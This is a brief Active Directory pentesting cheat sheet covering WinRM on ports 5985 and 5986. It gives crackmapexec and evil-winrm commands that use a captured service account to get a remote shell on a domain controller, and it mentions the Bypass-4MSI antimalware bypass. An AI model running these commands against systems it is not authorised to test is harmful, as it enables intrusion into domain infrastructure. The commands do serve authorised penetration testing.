Active Directory Pentesting

Active Directory Pentesting: Common Techniques

A quick record of common operations and techniques used when testing Active Directory environments.

1. WSMan/WinRM

WinRM Uses Ports 5985 (HTTP) and 5986 (HTTPS) by Default

If WinRM is enabled on the domain controller, once we get hold of an account:

1
2
3
4
5
6
# Use crackmapexec to check privileges
crackmapexec winrm <DC_IP> -u svc-account -p password --shares
# Try WinRM
evil-winrm -i <DC_IP> -u svc-account -p password

Bypass-4MSI switches to cmd